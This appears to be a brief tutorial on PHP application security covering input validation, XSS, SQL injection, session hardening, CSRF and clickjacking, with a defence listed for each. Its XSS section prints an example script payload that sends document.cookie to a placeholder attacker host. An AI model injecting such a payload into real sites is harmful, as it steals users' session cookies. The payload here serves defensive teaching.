Introduction
A secure application is as important (or even more, depending on it’s type) as a well-written one.
Unfortunately, not so many developers are concerned about that topic.
Overall, following some simple rules can improve a lot the security of applications.
Here I will focus on PHP examples, but the concept may be adapted to other languages.
Pillars of Information Security
- Confidentiality
- Integrity
- Availability
Principles
- Multiple Layer Security
- Consider that each layer will eventually fail
- Provide the minimum amount of information required
Validate user input
Since HTTP requests can be manipulated client-side, all user input must be validated.
Protection
- PHP offers the extensions ctype and filter. In addition, most frameworks implement some sort of data sanitization.
- PHP 7+ provides type declarations that allow you to specify the expected type of parameters.
declare(strict_types = 1);
Cross-site scripting (XSS)
When a user-supplied script is stored and/or executed by the application.
Example
Assuming that an application allows input via GET method, a malicious attacker do this injection:
<script>
(New Image()).src = "http://attacker_url/?" + escape(document.cookie);
</script>
Types
- Stored
- Non-persistent
- Based on DOM
Consequences
- Cookie/session theft
- DOM Manipulation
- Keylogger
- Browser exploits
- Everything JavaScript allows
Protection
- Same-origin Policy only allows access to code from the same origin (protocol/domain/port) of the application, while allowing access to external files (a lib such as JQuery, for example)
- Filter user input (strip_tags, filter_var, preg_replace)
- Escape output (htmlspecialchars, htmlentities, filter_var)
- Apply Content Security Policy (default-src, img-src, script-src) -> delete inline code
Testing the CSP
A report is created when related warnings are generated by the application.
Content-Security-Policy-Report-Only
Report-uri /path/file.php
SQL Injection
Protection
- Do not concatenate data (parameters) with SQL queries
- Validate user input
- Use prepared statements
- Escape characters
Status Management
Protection
- Use HTTPS
- Set secure and HttpOnly flags
- Prevent XSS
- Change Session ID
- Store some distinctive user information in session
- Detect session hijacking (token)
- Use HSTS to hinder session theft
Policies
session.use_strict_mode = true;
session.cookie_secure = true;
session.use_only_cookies = true;
session.cookie_httponly = true;
Strict-Transport-Security: max-age = 86400; includeSubDomains
Cross-site Request Forgery (CSRF)
- Caused by viruses, scam/phishing, malicious site/redirect
Protection
- Submit token
- Do not use GET for operations involving data manipulation (just a good practice, because POST can also be manipulated)
Clickjacking
- Attacker creates fake page and through requests to the target site (usually via iframe), takes advantage of the user session
Protection
header('X-FRAME-OPTIONS', 'DENY'); // or SAMEORIGIN